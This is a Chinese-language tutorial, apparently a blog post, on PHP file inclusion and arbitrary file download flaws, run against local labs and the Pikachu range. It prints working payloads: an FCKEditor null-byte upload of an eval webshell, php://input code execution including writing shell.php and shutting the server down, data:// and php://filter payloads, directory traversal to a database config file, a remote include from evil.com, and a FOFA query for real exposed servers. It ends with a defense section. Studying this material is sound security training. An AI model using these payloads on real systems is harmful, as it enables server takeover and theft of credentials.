文件包含与下载读取漏洞实战

文件包含与下载读取漏洞实战:一句话搞懂什么是文件包含漏洞

假设你有一个网站,里面有个功能可以根据用户传入的文件名来加载文件(比如加载不同的模板页面)。如果这个功能写得不够严谨,黑客就能利用它来加载各种恶意文件,甚至直接执行代码。

简单来说:文件包含漏洞 = 网站把用户传入的文件名当代码来执行了

这就好比你让外卖员送你指定地址的餐,结果外卖员直接把钥匙给了对方------那对方想进你家干嘛就能干嘛了。


一、编辑器漏洞(文件上传篇回顾)

FCKEditor 漏洞

FCKEditor 是一个很老的网页编辑器(类似现在的富文本编辑器),早期很多网站在用。但它有个很有名的上传漏洞。

核心思路 :利用 %00 截断,让上传的文件被解析成 PHP 文件。

攻击步骤

  1. 准备一个 fck.php 漏洞利用脚本,里面主要做三件事:

    • 构造一个特殊的上传请求

    • 文件名用 fu.php%00.gif 这种方式(看起来是 gif 图片,实际会被保存成 php)

    • 文件内容写成 GIF89a<?php eval($_POST[cmd]) ?>(前面加图片头,后面是一句话木马)

  2. 在命令行执行:

    php.exe .\fck.php 127.0.0.1:80 /fckeditor/

  3. 原理:请求类似这样的 URL

    POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=fu.php%00.gif

  4. 上传成功后,访问:

    http://localhost/userfiles/image/fuck.php?cmd=phpinfo();

就可以执行任意命令了!


二、文件包含漏洞:核心概念

什么是文件包含?

文件包含的本质是:把指定的文件当代码执行

这会导致两种后果:

  1. 执行恶意代码(比如你上传了一张图片木马,它就能把它当 PHP 跑起来)

  2. 泄露敏感信息(比如读取数据库配置文件、管理员密码等)

怎么检测有没有这个漏洞?

检测方式 怎么做
白盒测试 直接去看源代码,搜索 includerequireinclude_once 这些关键字
黑盒测试 在 URL 里找类似 ?file=xxx.php?page=home?path=... 这样的参数,尝试替换成别的文件

三、本地文件包含(LFI)

1. 无限制的本地包含(最简单的情况)

假设网站有这样一段代码:

复制代码
<?php
  $filename = $_GET['filename'];  // 用户传什么文件名就用什么
  include($filename);             // 直接包含进来执行
?>

黑客只要准备一个 1.txt

复制代码
<?php phpinfo(); ?>

然后访问:

复制代码
http://127.0.0.1/include/upload.php?filename=1.txt

虽然 1.txt 是个文本文件,但通过 include 被当成 PHP 代码执行了!

2. 有限制的本地包含(带后缀拼接)

网站可能做了点"防护",强制加个后缀:

复制代码
<?php
  $filename = $_GET['filename'];
  include($filename . ".html");  // 强制拼接 .html 后缀
?>

直接访问 ?filename=1.txt 会变成 1.txt.html,找不到这个文件。但黑客有办法绕过!

绕过方法一:00 截断

复制代码
?filename=1.txt%00

原理:%00 是 URL 编码的空字节,早期版本的 PHP(PHP < 5.3.4)遇到空字节就会"截断",后面的 .html 被忽略,实际执行的是 1.txt

绕过方法二:长度截断

Windows 系统文件名最长 256 个字符,Linux 是 4096 个字符。如果文件名太长,系统会自动截断后面的内容。

复制代码
?filename=1.txt..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

当文件名超长时,系统会自动截断,把后面拼的 .html 给"挤掉"了。


四、远程文件包含(RFI)

远程文件包含更狠------它直接从别的服务器加载文件来执行!

1. 无限制的远程包含

在另一台服务器(比如 192.168.220.137)上放一个 1.txt

复制代码
<?php phpinfo(); ?>

然后访问:

复制代码
http://127.0.0.1/include/upload.php?filename=http://192.168.220.137/1.txt

网站会去下载这个远程文件并执行!

前提条件 :PHP 的配置文件中 allow_url_include = On

2. 有限制的远程包含及绕过

同样遇到强制拼接后缀的情况:

复制代码
include($filename . ".html");

绕过方法一:文件名本身带后缀

把远程服务器上的文件直接改成 1.txt.html,然后访问:

复制代码
?filename=http://192.168.220.137/1.txt

绕过方法二:用 %23(# 号)截断

URL 里的 # 后面的内容被浏览器/服务器当作锚点处理,不会作为文件名的一部分:

复制代码
?filename=http://192.168.220.137/1.txt%23

绕过方法三:用 ? 问号截断

问号后面的内容被当作查询参数,也不会拼到文件名里:

复制代码
?filename=http://192.168.220.137/1.txt?

五、PHP 伪协议:文件包含的终极杀器

PHP 伪协议是一种特殊的"文件路径格式",可以用来读取源码、执行代码等,是文件包含漏洞中最常用的技巧。

支持的伪协议一览

伪协议 用途
file:// 访问本地文件系统
http:// / https:// 访问 HTTP/HTTPS 网址
ftp:// 访问 FTP URL
php:// 访问各种输入/输出流(最常用!)
zlib:// 压缩流
data:// 直接把数据嵌在 URL 里
glob:// 查找匹配文件路径
phar:// PHP 归档
ssh2:// SSH 安全连接
rar:// / ogg:// 各种特殊流
expect:// 处理交互式命令流

伪协议 1:php://filter(读源码神器)

用途:读取 PHP 文件的源代码(不会执行它),常用于获取网站配置文件、数据库密码等。

基本格式

复制代码
php://filter/[过滤器]/resource=[要读的文件]

常用过滤器

过滤器 效果
convert.base64-encode 把文件内容转成 base64 编码输出
convert.base64-decode base64 解码
string.rot13 ROT13 字符转换
string.toupper 转大写
string.tolower 转小写
string.strip_tags 去除 HTML/PHP 标签

实战案例 :读取 upload.php 的源代码

复制代码
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

返回的是一大串 base64 编码,解码后就能看到源代码了!用浏览器的 base64 解码工具(或命令行 base64 -d)就能还原。

伪协议 2:php://input(执行代码神器)

用途:直接把 POST 请求的数据当 PHP 代码执行,不需要上传任何文件!

格式

复制代码
URL:  http://xxx/include.php?file=php://input
POST: <?php phpinfo(); ?>

实战案例 1:查看服务器版本

复制代码
URL:   http://localhost/include/upload.php?filename=php://input
POST:  <?php system('ver')?>

实战案例 2:查看服务器 IP 配置

复制代码
URL:   http://localhost/include/upload.php?filename=php://input
POST:  <?php system('ipconfig')?>

实战案例 3:关机恶作剧

复制代码
POST:  <?php system('shutdown -s -t 10800')?>  // 10800秒后关机
POST:  <?php system('shutdown -a')?>           // 取消关机

实战案例 4:写一句话木马到目标网站

复制代码
URL:   http://localhost/include/upload.php?filename=php://input
POST:  <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

这样就在目标网站根目录下生成了一个 shell.php 木马文件,以后直接访问:

复制代码
http://localhost/include/shell.php?cmd=phpinfo();

伪协议 3:file://(读本地文件)

用途:直接读取服务器上的任意文件

实战案例:读取系统 hosts 文件

复制代码
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

Windows 的 hosts 文件存着域名和 IP 的映射关系,知道这个文件的内容对了解服务器网络配置有帮助。

伪协议 4:data://(把代码直接嵌在 URL 里)

用途:不需要上传文件,也不需要 POST 数据,直接把代码写在 URL 里!

基础用法

复制代码
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?>

进阶用法(base64 编码版)

先把 <?php phpinfo();?> 转成 base64:PD9waHAgcGhwaW5mbygpOz8+

然后访问:

复制代码
http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b

注意 :URL 里的 + 号要用 %2b 来表示,不然会被当成空格。

实战案例:南邮 CTF 题目

某 CTF 网站有个文件包含点:

复制代码
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

返回的 base64 解码后就能看到 flag 了!


六、文件下载/读取漏洞

文件下载漏洞和文件包含很像,区别是:不执行代码,只是让你下载/读取任意文件

但这同样危险!因为黑客可以下载数据库配置文件、管理员账号密码等。

经典案例:Pikachu 靶场

Pikachu 是一个专门用来练手的 Web 漏洞靶场。它的文件下载漏洞 URL 长这样:

复制代码
http://xxx/vul/unsafedownload/execdownload.php?filename=kb.png

正常情况下它下载的是一张叫 kb.png 的图片。

漏洞利用 :用 ../ 往上跳目录(目录遍历):

复制代码
http://xxx/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
  • ../ 代表往上跳一层目录

  • 连写三个 ../../../ 就跳到了网站根目录

  • 然后去下载 inc/config.inc.php(数据库配置文件!)

这样黑客就下载到了目标网站的数据库配置文件,里面包含数据库地址、账号、密码等敏感信息。

用 FOFA 找真实目标

实战中可以用 FOFA 搜索引擎找真实存在的目标:

复制代码
"pikachu" && country="CN" && title="Get the pikachu"

这样就能搜到互联网上真实部署了 Pikachu 靶场的服务器(一般是测试用,但如果配置不当也会出问题)。


七、防御方法

了解了这么多攻击手法,作为开发者应该怎么防御?

1. 严格限制文件路径

不好的写法

复制代码
$file = $_GET['file'];
include($file);  // 完全不做限制

好的写法

复制代码
$file = $_GET['file'];
// 只允许特定目录下的文件
$allow_path = '/var/www/html/pages/';
$real_file = realpath($allow_path . $file);
if (strpos($real_file, $allow_path) === 0) {
    include($real_file);
} else {
    die('非法访问!');
}

2. 关闭远程包含

php.ini 中设置:

复制代码
allow_url_include = Off
allow_url_fopen = Off

3. 使用白名单

只允许包含特定的几个文件:

复制代码
$allow_list = ['home.php', 'about.php', 'contact.php'];
$file = $_GET['file'];
if (in_array($file, $allow_list)) {
    include($file);
}

4. 升级 PHP 版本

旧版本的 PHP(< 5.3.4)才会被 %00 截断,升级到新版本可以避免这个问题。

5. 文件下载功能要校验

对于文件下载功能:

  • 不要直接把用户输入的文件名拼到路径里

  • 用文件 ID 来查找文件(数据库映射),而不是直接用文件名

  • 限制下载的目录范围


总结:一张图看懂文件包含

攻击方式 用途 关键 payload
本地包含 利用已上传的文件 ?file=./upload/1.jpg
远程包含 加载外部恶意文件 ?file=http://evil.com/shell.txt
php://filter 读取源代码 ?file=php://filter/convert.base64-encode/resource=config.php
php://input 执行任意代码 ?file=php://input + POST 代码
data:// URL 里嵌代码 ?file=data://text/plain,<?php phpinfo();?>
file:// 读本地文件 ?file=file:///etc/passwd
目录遍历 下载任意文件 ?filename=../../../config.php

记住一句话:文件包含漏洞的本质是------用户可控的路径被当作文件来加载或执行。只要对路径做严格的校验和限制,这类漏洞是可以避免的!

相关推荐
lcreek2 小时前
SQL盲注漏洞详解 DVWA High
网络安全·sql注入
X7x52 小时前
重塑安全边界:PDRR模型如何构建数字时代的韧性防线
网络安全·网络攻击模型·安全威胁分析·安全架构·pdrr模型
大方子4 小时前
【好靶场】PDF也可以有XSS1
网络安全·好靶场
学逆向的7 小时前
C++模板
开发语言·c++·网络安全
2601_955505258 小时前
自然人身份确权可信基础设施赋能身份风险等级标签合规
人工智能·网络安全·金融·健康医疗·媒体·教育电商·政务
百度安全9 小时前
2025 百度 ESG 报告发布:以 AI 筑盾,共建可信数字生态
人工智能·网络安全
云安全助手9 小时前
国内调用GPT的现实困境与聚合平台解决方案探析
网络·人工智能·网络安全·ai大模型
持敬chijing1 天前
Web渗透之前后端漏洞-文件包含漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析
lcreek1 天前
SQL 注入漏洞详解:从原理到防御的完整学习指南
网络安全·sql注入
持敬chijing1 天前
Web渗透之前后端漏洞-文件上传漏洞-过滤绕过与配置文件漏洞-条件竞争漏洞
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析